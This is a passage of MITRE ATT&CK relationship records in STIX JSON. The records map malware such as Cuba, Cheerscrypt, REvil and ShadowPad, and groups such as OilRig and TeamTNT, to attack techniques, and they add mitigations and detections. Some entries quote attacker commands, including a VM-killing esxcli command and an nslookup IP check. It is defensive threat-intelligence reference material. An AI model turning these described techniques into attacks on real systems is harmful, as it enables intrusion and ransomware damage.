2020)","relationship_type":"uses","source_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2686dfb7-60ab-424c-add2-2f164a98cfa4","type":"relationship","created":"2020-03-16T14:49:02.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-10T22:26:34.274Z","description":"Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information. MFA can also be used to restrict access to cloud resources and APIs. ","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--268d6aed-3961-42d9-9d34-785a9903d004","type":"relationship","created":"2019-09-13T13:40:47.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2019-09-13T17:14:47.670Z","description":"[Machete](https://attack.mitre.org/software/S0409) has a component to check for running processes to look for web browsers.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--268e786f-a23c-4bf3-a331-e2b9163b2974","type":"relationship","created":"2021-06-21T18:07:57.478Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-09-01T12:54:49.339Z","description":"[Cuba](https://attack.mitre.org/software/S0625) can discover shared resources using the NetShareEnum API call.(Citation: McAfee Cuba April 2021) ","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--269229ec-bb95-4ad1-b68e-267b2cce4f24","created":"2022-10-06T21:17:57.243Z","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T21:17:57.243Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used compromised domain administrator credentials as part of their lateral movement.(Citation: Cybereason OperationCuckooBees May 2022) ","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2693f023-45bc-4244-acf7-a84c91bb4b0b","created":"2024-05-22T20:20:39.348Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T20:20:39.348Z","description":"[Apostle](https://attack.mitre.org/software/S1133) retrieves a list of all running processes on a victim host, and stops all services containing the string \"sql,\" likely to propagate ransomware activity to database files.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--48d96fa0-d027-45aa-a8c3-5d09f65d596d","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26968975-5f01-4b4b-9cdc-ef3b76710304","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-17T00:00:03.501Z","description":"[4H RAT](https://attack.mitre.org/software/S0065) has the capability to obtain file and directory listings.(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--269bab05-022c-4fb8-bdf3-1ec721ff994e","created":"2022-10-13T14:55:13.373Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:55:13.373Z","description":"[PcShare](https://attack.mitre.org/software/S1050) can obtain the proxy settings of a compromised machine using `InternetQueryOptionA` and its IP address by running `nslookup myip.opendns.comresolver1.opendns.com\\r\\n`.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--269bad6d-f72d-4deb-b125-7cb1e032efc8","created":"2023-03-17T15:57:10.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T14:55:52.622Z","description":"For [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used multiple servers to host malicious tools.(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--269dd749-de74-489d-b9bd-81017b1689e0","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor executed commands and arguments for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26a6be0e-6d53-4f54-b190-af359bfab4fc","type":"relationship","created":"2021-03-23T20:49:40.351Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ShadowPad Aug 2017","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf","description":"Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."}],"modified":"2021-03-23T20:49:40.351Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) has decrypted a binary blob to start execution.(Citation: Kaspersky ShadowPad Aug 2017)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--26aac288-6032-4925-afbe-506c8ea06300","created":"2022-09-27T18:01:44.357Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:01:44.357Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors collected a list of open connections on the infected system using `netstat` and checks whether it has an internet connection.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--26bac510-efd4-499c-8272-3cf186d3b4e3","created":"2022-09-26T21:35:10.243Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bleeping Computer Op Sharpshooter March 2019","description":"I. Ilascu. (2019, March 3). Op 'Sharpshooter' Connected to North Korea's Lazarus Group. Retrieved September 26, 2022.","url":"https://www.bleepingcomputer.com/news/security/op-sharpshooter-connected-to-north-koreas-lazarus-group/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T17:07:18.673Z","description":"For [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), the threat actors compromised a server they used as part of the campaign's infrastructure.(Citation: Bleeping Computer Op Sharpshooter March 2019)","relationship_type":"uses","source_ref":"campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0","target_ref":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26bc4aac-e7db-426f-af9f-b85fa60df277","type":"relationship","created":"2020-05-20T13:13:48.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/library/dn408187.aspx","description":"Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.","source_name":"Microsoft LSA Protection Mar 2014"}],"modified":"2020-05-20T13:13:48.991Z","description":"On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\RunAsPPL to dword:00000001. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance. ","relationship_type":"mitigates","source_ref":"course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1","target_ref":"attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26c10016-0df4-4dc0-a74b-4b0d51876965","type":"relationship","created":"2021-04-06T15:53:34.982Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}],"modified":"2021-04-09T13:34:40.215Z","description":"[Doki](https://attack.mitre.org/software/S0600) has used the DynDNS service and a DGA based on the Dogecoin blockchain to generate C2 domains.(Citation: Intezer Doki July 20)","relationship_type":"uses","source_ref":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26c62507-1a2b-4235-b80c-d5f7f52d1c95","type":"relationship","created":"2021-12-07T14:58:11.503Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-07T14:58:11.503Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has injected SMB URLs into malicious Word spearphishing attachments to initiate [Forced Authentication](https://attack.mitre.org/techniques/T1187).(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--26cc808a-2986-4dcf-9ce6-86175cfa366c","created":"2023-12-21T20:53:48.311Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Cheerscrypt May 2022","description":"Dela Cruz, A. et al. (2022, May 25). New Linux-Based Ransomware Cheerscrypt Targeting ESXi Devices Linked to Leaked Babuk Source Code. Retrieved December 19, 2023.","url":"https://www.trendmicro.com/en_se/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-21T21:04:26.901Z","description":"[Cheerscrypt](https://attack.mitre.org/software/S1096) has the ability to terminate VM processes on compromised hosts through execution of `esxcli vm process kill`.(Citation: Trend Micro Cheerscrypt May 2022)\n","relationship_type":"uses","source_ref":"malware--5d3fa1db-5041-4560-b87b-8f61cc225c52","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26ce5847-3f53-4736-92c6-7a82e17cd884","type":"relationship","created":"2020-12-29T20:32:44.536Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Pay2Kitten December 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf","description":"ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. Retrieved December 21, 2020."}],"modified":"2020-12-29T20:32:44.536Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has created a local user account with administrator privileges.(Citation: ClearSky Pay2Kitten December 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26cee727-2047-4ea9-b3bd-1115431aa633","type":"relationship","created":"2020-03-20T02:37:24.768Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"},{"source_name":"OilRig ISMAgent July 2017","description":"Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/"},{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"},{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"},{"description":"Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig’s Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019.","url":"https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/","source_name":"Unit42 OilRig Nov 2018"},{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"},{"source_name":"OilRig ISMAgent July 2017","description":"Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/"},{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"},{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"},{"description":"Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig’s Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019.","url":"https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/","source_name":"Unit42 OilRig Nov 2018"}],"modified":"2020-03-20T17:37:14.709Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used macros to deliver malware such as [QUADAGENT](https://attack.mitre.org/software/S0269) and [OopsIE](https://attack.mitre.org/software/S0264).(Citation: FireEye APT34 Dec 2017)(Citation: OilRig ISMAgent July 2017)(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: Unit42 OilRig Nov 2018) [OilRig](https://attack.mitre.org/groups/G0049) has used batch scripts.(Citation: FireEye APT34 Dec 2017)(Citation: OilRig ISMAgent July 2017)(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: Unit42 OilRig Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--26d1ecff-471e-420d-a1f0-d7b6cf9a07e6","created":"2022-08-10T20:30:51.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.702Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has searched for services such as Alibaba Cloud Security's aliyun service and BMC Helix Cloud Security's bmc-agent service in order to disable them.(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26d24472-ae04-46e7-9166-5d8a8f6f16f7","type":"relationship","created":"2020-03-02T19:05:18.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T17:39:13.420Z","description":"Anti-virus can also automatically quarantine suspicious files.","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26d64c06-c277-473d-94e8-e9990b6adc8e","type":"relationship","created":"2020-03-13T20:26:49.676Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T20:26:49.676Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26dcd489-5bd7-4f33-a920-79535c42082c","type":"relationship","created":"2020-08-04T16:03:24.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Sodin July 2019","url":"https://securelist.com/sodin-ransomware/91473/","description":"Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020."}],"modified":"2020-08-14T15:20:58.256Z","description":"[REvil](https://attack.mitre.org/software/S0496) has encrypted C2 communications with the ECIES algorithm.(Citation: Kaspersky Sodin July 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--26de5bd2-2b58-421f-b1f9-ccf02b2c79ea","created":"2024-07-25T18:05:40.399Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T18:05:40.399Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) uses HTTP for command and control communication.(Citation: ESET EvasivePanda 2024)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--26e2d87c-43c2-4552-9186-2ca0f70e96c7","created":"2023-03-10T21:32:58.530Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Check Point Black Basta October 2022","description":"Check Point. (2022, October 20). BLACK BASTA AND THE UNNOTICED DELIVERY. Retrieved March 8, 2023.","url":"https://research.checkpoint.com/2022/black-basta-and-the-unnoticed-delivery/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T20:28:24.575Z","description":"The [Black Basta](https://attack.mitre.org/software/S1070) dropper has been digitally signed with a certificate issued by Akeo Consulting for legitimate executables used for creating bootable USB drives.(Citation: Check Point Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26eafe5d-0ffc-48cf-ba1d-3681bdcbfaa3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 